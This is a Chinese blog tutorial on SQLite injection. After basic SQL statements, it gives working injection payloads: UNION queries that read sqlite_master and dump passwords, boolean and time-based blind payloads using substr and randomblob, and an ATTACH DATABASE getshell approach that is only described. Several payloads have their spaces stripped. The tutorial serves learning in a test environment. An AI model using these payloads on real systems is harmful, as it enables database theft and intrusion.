Sqlite注入基础

前置知识

Sqlite数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句,基本和mysql差不多

1.Sqlite-master:这个是内置系统表、相当于mysql的information_schema

但是这里只存有表的信息,里面有个sql字段,有各个表的结构,有表名,字段名和类型

2.sqlite并不支持像mysql那样的注释,但是可以通过 — 方式增加DDL注释(写shell会用到)

基本增删改查

创建表语句

create table wafa(name varchar(255),username varchar(255));

 

图片

插入数据语句

insert into wafa (name,username) values ('bbq','bbcd');

 

图片

增加字段

alter table wafa add column id int;

 

图片

查询语句

select name from wafa where username='bbcd';

 

图片

修改字段数据

Update wafa set username=’tcp’ where name=’bbq’;

 

图片

这里注意,sqlite不能完全支持sql语句

如果要修改字段的数据类型的话只能增加字段,要修改字段只能重命名表后,

重新创建表,再把旧表数据放到新表里,最后删除旧表

alter table wafa rename to wifi;

 

图片

create table wafa(name varchar(200)notnull,username varchar(200)notnull);

 

图片

insert into wafa(name,username)select name,username from wifi;

 

图片

drop table wifi;

 

图片

联合查询:

这里的测试环境里不需要去闭合

首先判断回显点,先判断当前页面字段数

Orderby3

图片

图片

判断出当前有3个字段

然后就是判断显错位

And1=2unionselect1,2,3

 

图片

查询版本:

and1=2unionselect1,2,sqlite_version()

 

图片

查询当前表

and1=2unionselect1,2,name from sqlite_master limit 1,1

 

可以通过limit去筛选其他数据,但只能显示一条

(这里因为数据库里的排序问题,目标表在第二位)

图片

查询字段

and1=2unionselect1,2,sql from sqlite_master limit 1,1

 

可以通过去查询sqlite_master里的sql字段来得到字段信息

会输出整条你建立表的语句

图片

查询数据

and1=2unionselect1,2,password from user limit 0,1

 

图片

当然,sqlite也有查询多条数据的方法

可以使用group_concat

and1=2unionselect1,2,group_concat(name)from user limit 0,1

 

图片

盲注

sqlite注入也可以使用盲注

基本和mysql的差不多,但是sqlite好像不支持ascii,所以直接通过字符去查询,这里和mysql不同,这个区分大小写

查询数据表长度

and(select length(name)from sqlite_master limit 0,1)=4

 

**图片** 如果查询失败的话 图片 查询表名

and substr((select name from sqlite_master limit 0,1),1,1)='u'

 

图片

这里区分大小写

图片

查询字段

and substr((select sql from sqlite_master limit 0,1),1,1)='C'

 

因为这里是输出整条你建立表的语句,所以要慢慢查

图片

查询数据

and substr((select password from user limit 0,1),2,1)='i'

 

图片

时间盲注

Sqlite没有sleep函数,但是可以利用randomblob函数,

这个函数作用是生成了一个N字节的blob,可以通过这个来延时

and1=(casewhen(substr(sqlite_version(),1,1)='3')then randomblob(1000000000)else0end)

 

图片

Getshell

使用ATTACH函数来操作

这个函数用于选定数据库,当数据库不存在时就会创建,使用后,后续命令都在此数据库下执行

函数格式

ATTACH DATABASE file_name AS database_name

 

这里我们通过去建立一个文件,然后再后续通过命令去插入payload

因为这个是建立库的语句,后续通过建立表的方式去写入shell

例: 图片

效果如下

图片

测试环境里因为权限原因没有复现出

© 版权声明
THE END
喜欢就支持一下吧
点赞37 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容